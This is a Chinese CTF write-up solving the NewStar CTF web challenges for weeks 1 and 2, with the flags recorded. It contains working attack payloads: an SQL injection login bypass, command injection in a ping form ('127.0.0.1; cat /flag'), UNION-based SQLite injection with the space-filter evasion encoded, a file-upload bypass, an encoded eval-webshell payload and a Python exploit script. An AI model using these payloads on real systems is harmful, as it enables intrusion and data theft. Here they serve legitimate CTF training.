【CTF | 比赛篇】Newstar ctf web
文章目录
- week1
- multi-headach3
- strange_login
- 宇宙的中心是php
- 黑客小W的故事(1)
- 我真得控制你了
- 别笑,你也过不了第二关
- week2
- DD加速器
- 搞点哦润吉吃吃橘
- 白帽小K的故事(1)
- 小E的管理系统
- 真的是签到诶
week1
multi-headach3
什么叫机器人控制了我的头?
【难度:简单】
dirsearch
扫目录:
找到/robots.txt
,访问:
访问hidden.php
:
翻译提示,f12
打开捕获流量包,发现flag
:
flag{eb4580e7-21e4-4446-9dba-4fb51d9cf051}
strange_login
题目内容:
我当然知道1=1了!?
【难度:简单】
经典登录框,经典提示,万能密码admin' or 1=1 #
:
flag{26cbccab-3a76-46f9-a770-7e8cb0b10d96}
宇宙的中心是php
题目内容:
所有光线都逃不出去…但我知道这不会难倒你的
(本题下发后,请通过http访问相应的ip和port,例如 nc ip port ,改为http://ip:port/)
【难度:简单】
访问题目:
发现只是一个页面,习惯性使用f12
,发现打不开,Ctrl+u
也不行,最后使用ctrl+shift+I
打开,发现:
访问s3kret.php
:
<?php
highlight_file(__FILE__);
include "flag.php";
if(isset($_POST['newstar2025'])){$answer = $_POST['newstar2025'];if(intval($answer)!=47&&intval($answer,0)==47){echo $flag;}else{echo "你还未参透奥秘";}
}
审计后发现,要求POST
输入newstar2025
的值满足:
intval($answer)
(默认按十进制或通过 (int) 强制转换)不是 47,且intval($answer, 0)
(第二个参数为 0 时让 PHP 自动根据字符串前缀判断进制)等于 47。
输入0x2F
即可满足:
flag{c0c8fc92-fd89-42e6-aa83-2b14c3e22bcf}
黑客小W的故事(1)
题目内容:
NewStar 的赛场上,小 W 被传送到了一个到处都是虫子的王国,在这里寻觅许久之后,他发现只有学会剑技(HTTP 协议)才能够离开这里。
【难度:中等】
第一个挑战:
抓包发现:
修改count
字段为1000000
:
这里需要截取包然后修改发送,才能正常跳转:
第二关:
看不懂,看提示:
原来是需要get
传参shipin
,参数值为mogubaozi
:
能看懂了,这里post
要传入的应该是前文提到过的guding
:
这里需要使用DELETE
方法传入chongzi
,截取改包:
成功:
访问/Level2_END
,第三关:
与HTTP
协议有关:
根据提示,修改ua
头:
还需要升级版本。
访问/Level4_Sly
:
flag{9fef7934-2c71-4225-813d-849df714c8fa}
我真得控制你了
题目内容:
小小web还不是简简单单?什么?你拿不下来?那我得好好控制控制你了哈
【难度:中等】
审计js
代码:
// 检查保护层状态function checkShieldStatus() {const shield = document.getElementById('shieldOverlay');const button = document.getElementById('accessButton');if (!shield) {button.classList.add('active');button.disabled = false;} else {button.classList.remove('active');button.disabled = true;}}checkShieldStatus();setInterval(checkShieldStatus, 500);document.getElementById('accessButton').addEventListener('click', function() {if (!document.getElementById('shieldOverlay')) {document.getElementById('nextLevelForm').submit();}});document.addEventListener('contextmenu', function(e) {e.preventDefault();});(function() {document.addEventListener('keydown', function(e) {// F12if (e.keyCode === 123) {e.preventDefault();showDevToolsWarning();}// Ctrl+Shift+I (Windows/Linux)if (e.ctrlKey && e.shiftKey && e.keyCode === 73) {e.preventDefault();showDevToolsWarning();}// Ctrl+Shift+J (Windows/Linux)if (e.ctrlKey && e.shiftKey && e.keyCode === 74) {e.preventDefault();showDevToolsWarning();}// Cmd+Option+I (Mac)if (e.metaKey && e.altKey && e.keyCode === 73) {e.preventDefault();showDevToolsWarning();}// Cmd+Option+J (Mac)if (e.metaKey && e.altKey && e.keyCode === 74) {e.preventDefault();showDevToolsWarning();}// Ctrl+U (查看源代码)if (e.ctrlKey && e.keyCode === 85) {e.preventDefault();showDevToolsWarning();}});let devtools = false;const threshold = 160;function checkDevTools() {const widthThreshold = window.outerWidth - window.innerWidth > threshold;const heightThreshold = window.outerHeight - window.innerHeight > threshold;const orientation = widthThreshold ? 'vertical' : 'horizontal';if (!(heightThreshold && widthThreshold) && ((window.Firebug && window.Firebug.chrome && window.Firebug.chrome.isInitialized) || widthThreshold || heightThreshold)) {devtools = true;showDevToolsWarning();} else {devtools = false;}}setInterval(checkDevTools, 1000);function showDevToolsWarning() {const warning = document.getElementById('devToolsWarning');warning.style.display = 'flex';document.addEventListener('keydown', function closeWarning(e) {if (e.key === 'Escape') {warning.style.display = 'none';document.removeEventListener('keydown', closeWarning);}});}if (typeof console !== "undefined") {if (typeof console.log !== 'undefined') {console.log = function() {};}if (typeof console.warn !== 'undefined') {console.warn = function() {};}if (typeof console.error !== 'undefined') {console.error = function() {};}if (typeof console.info !== 'undefined') {console.info = function() {};}}})();
为了绕过JS
限制,我们在浏览器Console
里运行:
document.getElementById('nextLevelForm').submit();
这会绕过所有按钮/遮罩限制,直接提交表单
成功绕过,来到下一关,这一关提示弱口令,尝试了几个弱口令成功登入:admin/111111
<?php
error_reporting(0);function generate_dynamic_flag($secret) {return getenv("ICQ_FLAG") ?: 'default_flag';
}if (isset($_GET['newstar'])) {$input = $_GET['newstar'];if (is_array($input)) {die("恭喜掌握新姿势");}if (preg_match('/[^\d*\/~()\s]/', $input)) {die("老套路了,行不行啊");}if (preg_match('/^[\d\s]+$/', $input)) {die("请输入有效的表达式");}$test = 0;try {@eval("\$test = $input;");} catch (Error $e) {die("表达式错误");}if ($test == 2025) {$flag = generate_dynamic_flag($flag_secret);echo "<div class='success'>拿下flag!</div>";echo "<div class='flag-container'><div class='flag'>FLAG: {$flag}</div></div>";} else {echo "<div class='error'>大哥哥泥把数字算错了: $test ≠ 2025</div>";}
} else {?>
<?php } ?>
审计php
代码:
- 允许的字符只有:
0-9
,*
,/
,~
,(
,)
, 空白。
(由preg_match('/[^\d*\/~()\s]/', $input)
限定) - 禁止纯数字/空白(
/^[\d\s]+$/
会拒绝),所以必须包含至少一个运算符(*
、/
、~
、()
)。 - 最终执行:
@eval("\$test = $input;");
,判断$test == 2025
。 - flag 来源是环境变量
ICQ_FLAG
(否则返回default_flag
)。
因为 45 ∗ 45 = 2025 45*45=2025 45∗45=2025,且*
属于允许字符,所以payload
为:newstar=45*45
GET
传参即可:
flag{c6582a80-afdd-4ef9-8088-a15455bc30cf}
别笑,你也过不了第二关
题目内容:
不是哥们,说白了你有啥实力啊,
过关不是简简单单
【难度:简单】
前端记分:
const game = document.getElementById("game");const player = document.getElementById("player");const scoreEl = document.getElementById("score");const levelEl = document.getElementById("level");let score = 0;let steps = 0;let maxSteps = 10; // 每关掉落数量let targetScores = [30, 1000000]; // 每关目标分数let currentLevel = 0; // 0 表示第一关let gameEnded = false;let finishSpawned = false;let playerX = 180;let gateInterval = null;document.addEventListener("keydown", (e) => {if (e.key === "ArrowLeft") movePlayer(-100);if (e.key === "ArrowRight") movePlayer(100);});function movePlayer(offset) {let newX = playerX + offset;if (newX < 0 || newX > 340) return;playerX = newX;player.style.left = playerX + "px";}function spawnGate() {if (steps >= maxSteps || gameEnded || finishSpawned) return;steps++;const gate = document.createElement("div");gate.className = "gate";let x = Math.random() < 0.5 ? 60 : 260;gate.style.left = x + "px";let isAdd = Math.random() < 0.5;if (isAdd) {gate.dataset.value = 10;gate.style.backgroundImage = "url('2.jpg')";} else {gate.dataset.value = -10;gate.style.backgroundImage = "url('1.jpg')";}game.appendChild(gate);let y = 0;const fall = setInterval(() => {y += 5;gate.style.top = y + "px";const playerRect = player.getBoundingClientRect();const gateRect = gate.getBoundingClientRect();if (!(playerRect.right < gateRect.left ||playerRect.left > gateRect.right ||playerRect.bottom < gateRect.top ||playerRect.top > gateRect.bottom)) {score += parseInt(gate.dataset.value);scoreEl.innerText = "分数: " + score;clearInterval(fall);gate.remove();if (steps >= maxSteps && !finishSpawned) spawnFinishLine();}if (y > 600) {clearInterval(fall);gate.remove();if (steps >= maxSteps && !finishSpawned) spawnFinishLine();}}, 50);}function spawnFinishLine() {finishSpawned = true;const finish = document.createElement("div");finish.className = "finish-line";finish.style.left = "0px";game.appendChild(finish);let y = 0;const fall = setInterval(() => {y += 5;finish.style.top = y + "px";const playerRect = player.getBoundingClientRect();const finishRect = finish.getBoundingClientRect();if (!(playerRect.right < finishRect.left ||playerRect.left > finishRect.right ||playerRect.bottom < finishRect.top ||playerRect.top > finishRect.bottom)) {clearInterval(fall);finish.remove();endLevel();}if (y > 600) {clearInterval(fall);finish.remove();endLevel();}}, 50);}function endLevel() {if (gameEnded) return;clearInterval(gateInterval);gateInterval = null;if (score >= targetScores[currentLevel]) {alert(`恭喜通过第 ${currentLevel + 1} 关!得分: ${score}`);currentLevel++;if (currentLevel < targetScores.length) {// 下一关resetLevel(currentLevel);startGame();} else {// 全部通关gameEnded = true;const formData = new URLSearchParams();
formData.append("score", score);fetch("/flag.php", {method: "POST",headers: {"Content-Type": "application/x-www-form-urlencoded"},body: formData.toString()
})
.then(res => res.text())
.then(data => {alert("服务器返回:\n" + data);
})
.catch(err => {alert("请求失败: " + err);
});}} else {alert(`第 ${currentLevel + 1} 关未达成目标分数 (目标: ${targetScores[currentLevel]}),将重新开始本关!`);resetLevel(currentLevel);startGame();}
}function resetLevel(levelIndex) {score = 0;scoreEl.innerText = "分数: " + score;steps = 0;finishSpawned = false;levelEl.innerText = "关卡: " + (levelIndex + 1);[...game.querySelectorAll('.gate, .finish-line')].forEach(e => e.remove());}function startGame() {gateInterval = setInterval(spawnGate, 1500);}startGame();document.addEventListener("visibilitychange", () => {if (document.hidden) {if (gateInterval) {clearInterval(gateInterval);gateInterval = null;}} else {if (!gameEnded && !gateInterval) {gateInterval = setInterval(spawnGate, 1500);}}});
审计js
代码发现,可以在控制台直接作弊:
score = 1000000; // 直接满足目标分数
endLevel(); // 触发关卡结束逻辑
flag{8a6f2ab9-9b7e-4274-90bf-efbe94277b14}
week2
DD加速器
题目内容:
D师傅在服务器上部署了一个加速器,并且提供一个页面来ping游戏服务器…
【难度:简单】
ping
的命令执行,使用;
拼接:
127.0.0.1; ls
127.0.0.1; cat /flag
瞅瞅环境变量:127.0.0.1; env
flag{9cacf6f4-5cc9-4cef-99a8-97c51b2953be}
搞点哦润吉吃吃橘
题目内容:
Doro把自己最心爱的橘子放在了保险冰箱中,为了一探究竟这橘子有多稀奇,你决定打开这个保险装置,但是遇到一些棘手的问题…
【难度:简单】
开局一个登录框,尝试弱口令无果,ctrl+u
查看源代码,发现提示:
<!-- 唔...这个密码有点难记,但是我已经记好了 Doro/Doro_nJlPVs_@123 -->
根据提示,抓包查看后端逻辑:
根据验证流程写exp:
#!/usr/bin/env python3
# coding: utf-8import requests
import re
import time
import sysBASE = "https://eci-2ze6zyo0m8laq9swg77e.cloudeci1.ichunqiu.com:5000"# 登录表单(你提供的)
LOGIN_PATH = "/login"
START_PATH = "/start_challenge"
VERIFY_PATH = "/verify_token"USERNAME = "Doro"
PASSWORD = "Doro_nJlPVs_%40123" # 注意:这是示例,生产环境请妥善保管凭据def login(session: requests.Session) -> bool:url = BASE + LOGIN_PATHsession.headers.update({"Origin": BASE,"Referer": BASE + "/login","Content-Type": "application/x-www-form-urlencoded","User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36","Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7","Sec-Fetch-Site": "same-origin","Sec-Fetch-Mode": "navigate","Sec-Fetch-User": "?1","Sec-Fetch-Dest": "document",})data = f"username={USERNAME}&password={PASSWORD}"resp = session.post(url, data=data, allow_redirects=False)print("[login] status:", resp.status_code)print("[login] headers:", resp.headers)if "Set-Cookie" in resp.headers and "session=" in resp.headers["Set-Cookie"] and "Expires=Thu, 01 Jan 1970" not in resp.headers["Set-Cookie"]:print("[login] 登录成功 ->", resp.headers["Set-Cookie"])return Trueprint("[login] 登录失败,响应内容:", resp.text[:300])return Falsedef fetch_challenge(session: requests.Session):url = BASE + START_PATHresp = session.post(url)print("[start_challenge] status:", resp.status_code)try:data = resp.json()except Exception as e:print("[start_challenge] 无法解析为 JSON:", e)print("Response body:", resp.text[:500])return Nonereturn datadef parse_and_compute_token(data: dict):# 优先使用单独字段(如果存在)if "multiplier" in data or "xor_value" in data:try:multiplier = int(data.get("multiplier")) if data.get("multiplier") is not None else Noneexcept Exception:multiplier = Nonexor_raw = data.get("xor_value")xor_value = Noneif xor_raw is not None:try:if isinstance(xor_raw, str) and xor_raw.lower().startswith("0x"):xor_value = int(xor_raw, 16)else:xor_value = int(xor_raw)except:xor_value = None# 如果 expression 字段存在且包含 time.time() 的指示,优先使用实时 timeexpr = data.get("expression", "")if "time.time" in expr or "int(time.time" in expr:tsource = int(time.time())else:# 没有 time.time 的话,尝试从 expression 中提取第一个数字(作为左侧时间戳)m = Noneif expr:m = re.search(r'\(\s*(\d+)\s*\*\s*\d+\s*\)', expr)if m:tsource = int(m.group(1))else:# 如果没有 expression 且没有明确时间源,使用当前时间(较保险)tsource = int(time.time())if multiplier is None:# 若 multiplier 字段不存在,尝试从 expression 中提取expr = data.get("expression", "")m2 = re.search(r'\*\s*(\d+)\s*\)', expr)if m2:multiplier = int(m2.group(1))if multiplier is None or xor_value is None:raise ValueError("无法从响应中解析 multiplier 或 xor_value。data: {}".format(data))token = (tsource * multiplier) ^ xor_valuereturn token, {"tsource": tsource, "multiplier": multiplier, "xor_value": xor_value, "method": "fields_or_expr"}# 如果没有单独字段,尝试从 expression 字段解析expr = data.get("expression")if not expr:raise ValueError("响应既没有 'expression',也没有 'multiplier' / 'xor_value' 字段。data: {}".format(data))# 判断 expression 是否包含 int(time.time())if "time.time" in expr:tsource = int(time.time())else:# 尝试提取表达式中的左侧数字(形如 (1759715000 * 53475) )m_time = re.search(r'\(\s*(\d+)\s*\*\s*\d+\s*\)', expr)if m_time:tsource = int(m_time.group(1))else:# 兜底使用当前时间tsource = int(time.time())# 提取 multiplierm_mul = re.search(r'\*\s*(\d+)\s*\)', expr)if not m_mul:raise ValueError("无法从 expression 提取 multiplier。expr: {}".format(expr))multiplier = int(m_mul.group(1))# 提取 xor 值(支持 0xHEX 或 十进制)m_xor = re.search(r'\^\s*(0x[0-9a-fA-F]+|\d+)', expr)if not m_xor:raise ValueError("无法从 expression 提取 xor_value。expr: {}".format(expr))xor_raw = m_xor.group(1)xor_value = int(xor_raw, 16) if xor_raw.lower().startswith("0x") else int(xor_raw)token = (tsource * multiplier) ^ xor_valuereturn token, {"tsource": tsource, "multiplier": multiplier, "xor_value": xor_value, "method": "expr"}def submit_token(session: requests.Session, token):url = BASE + VERIFY_PATHpayload = {"token": token}# 显式声明本次请求为 JSON,覆盖全局 Content-Typeresp = session.post(url, json=payload, headers={"Content-Type": "application/json"})print("[verify_token] status:", resp.status_code)try:print("[verify_token] json:", resp.json())except Exception:print("[verify_token] text:", resp.text[:1000])return respdef main():s = requests.Session()s.headers.update({"User-Agent": "auto-token-bot/1.0","Accept": "*/*",})ok = login(s)if not ok:print("登录失败,停止。请检查用户名/密码或网络。")returndata = fetch_challenge(s)if data is None:print("无法获取挑战数据,停止。")returnprint("challenge data:", data)try:token, info = parse_and_compute_token(data)except Exception as e:print("解析/计算 token 失败:", e)returnprint("计算得到 token =", token, "(详情:", info, ")")# 立即提交resp = submit_token(s, token)if __name__ == "__main__":main()
flag{c596b46c-3c82-4416-9e70-538104015062}
白帽小K的故事(1)
题目内容:
小 K 为了成为最强的 NewStar,在阴差阳错之下来到了索拉里斯大陆,被风暴席卷的她飞到了黑海岸。在那里,泰提斯系统突然发难,漂泊者拜托小 K 解决难题。为了成为最强 NewStar,小 K 毅然接受了挑战!
【难度:困难】
文件上传漏洞,前端校验,抓包修改后缀名
通过/v1/onload
接口获取上传路径
确定上传成功,但是不知道为何无法利用,没办法,只能上传执行phpinfo()
试试:
成功解析:
复制为html
文件:
flag{741a9681-2e6c-4486-b767-557e907c8863}
小E的管理系统
题目内容:
小E开发了一个服务器管理系统,能实时监测服务器状态并显示出来。为了防止系统被入侵,小E特地给其中的查询功能上了防火墙,但是即便如此,这个系统依然脆弱不堪,只因为使用了原始的SQL拼接——你能绕过小E的防火墙,拿到数据库里的秘密吗?
【难度:困难】
本题考查sql
注入过滤与报错注入:
防火墙过滤了空格,单引号,幸运的是其为数字型的报错注入:
使用%0a
绕过空格
发现没有databases()
函数,猜测可能不是mysql
数据库,经过探测,确定是sqllite
:
这里是因为查询列数与显示不一样,所以报错,接下来探测列数:
确定是5
列,构造:
-1 UNION select * FROM(SELECT 0) AS A CROSS JOIN (SELECT 2) AS B CROSS JOIN (SELECT 2) AS C CROSS JOIN (SELECT 3) AS D CROSS JOIN (SELECT 4) AS E
替换空格:
-1%0aUNION%0aselect%0a*%0aFROM(SELECT%0a0)%0aAS%0aA%0aCROSS%0aJOIN%0a(SELECT%0a2)%0aAS%0aB%0aCROSS%0aJOIN%0a(SELECT%0a2)%0aAS%0aC%0aCROSS%0aJOIN%0a(SELECT%0a3)%0aAS%0aD%0aCROSS%0aJOIN%0a(SELECT%0a4)%0aAS%0aE
查询数据库版本号:
-1 UNION select * FROM(SELECT 0) AS A CROSS JOIN (SELECT 2) AS B CROSS JOIN (SELECT sqlite_version()) AS C CROSS JOIN (SELECT 3) AS D CROSS JOIN (SELECT 4) AS E
-1%0aUNION%0aselect%0a*%0aFROM(SELECT%0a0)%0aAS%0aA%0aCROSS%0aJOIN%0a(SELECT%0a2)%0aAS%0aB%0aCROSS%0aJOIN%0a(SELECT%0asqlite_version())%0aAS%0aC%0aCROSS%0aJOIN%0a(SELECT%0a3)%0aAS%0aD%0aCROSS%0aJOIN%0a(SELECT%0a4)%0aAS%0aE
查看表名和字段名:
sql from sqlite_master
-1%0aUNION%0aselect%0a*%0aFROM(SELECT%0a0)%0aAS%0aA%0aCROSS%0aJOIN%0a(SELECT%0a2)%0aAS%0aB%0aCROSS%0aJOIN%0a(SELECT%0asql%0afrom%0asqlite_master)%0aAS%0aC%0aCROSS%0aJOIN%0a(SELECT%0a3)%0aAS%0aD%0aCROSS%0aJOIN%0a(SELECT%0a4)%0aAS%0aE
发现有一个sys_config
表,表内的字段为:id
,config_key
,config_value
。
使用
select * from user_data
因为这里,
被ban
了,*
的话无法输出,只能挨个查询具体的值,最后使用:
-1 UNION select * FROM(SELECT 0) AS A CROSS JOIN (SELECT 2) AS B CROSS JOIN (select config_value from sys_config) AS C CROSS JOIN (SELECT 3) AS D CROSS JOIN (SELECT 4) AS E
# 编码后
-1%0aUNION%0aselect%0a*%0aFROM(SELECT%0a0)%0aAS%0aA%0aCROSS%0aJOIN%0a(SELECT%0a2)%0aAS%0aB%0aCROSS%0aJOIN%0a(select%0aconfig_value%0afrom%0asys_config)%0aAS%0aC%0aCROSS%0aJOIN%0a(SELECT%0a3)%0aAS%0aD%0aCROSS%0aJOIN%0a(SELECT%0a4)%0aAS%0aE
flag{1148f076-61cb-457a-818f-d910ef21b142}
真的是签到诶
题目内容:
到了 week2 的签到题目???真的是签到吗?真的是签到吗?真的是签到吗?
【难度:签到】
访问拿到:
<?php
highlight_file(__FILE__);$cipher = $_POST['cipher'] ?? '';function atbash($text) {$result = '';foreach (str_split($text) as $char) {if (ctype_alpha($char)) {$is_upper = ctype_upper($char);$base = $is_upper ? ord('A') : ord('a');$offset = ord(strtolower($char)) - ord('a');$new_char = chr($base + (25 - $offset));$result .= $new_char;} else {$result .= $char;}}return $result;
}if ($cipher) {$cipher = base64_decode($cipher);$encoded = atbash($cipher);$encoded = str_replace(' ', '', $encoded);$encoded = str_rot13($encoded);@eval($encoded);exit;
}$question = "真的是签到吗?";
$answer = "真的很签到诶!";$res = $question . "<br>" . $answer . "<br>";
echo $res . $res . $res . $res . $res;?> 真的是签到吗?
真的很签到诶!
真的是签到吗?
真的很签到诶!
真的是签到吗?
真的很签到诶!
真的是签到吗?
真的很签到诶!
真的是签到吗?
真的很签到诶!
审计后发现,这是一个webshell
解码执行的题目,经过 Base64 → Atbash → 去空格 → ROT13 的代码,服务器最终会执行 (eval) 解码后的内容,所以构造我们的payload
:
cat /flag
cipher (Base64 输入)
↓ base64_decode
↓ Atbash (字母翻转)
↓ 去掉空格
↓ str_rot13
↓ eval()
dW91dGlhKCJrbXRcMDQwL2hibWciKTs=
flag{8b3bf25f-b724-4f06-9197-ba25bd749249}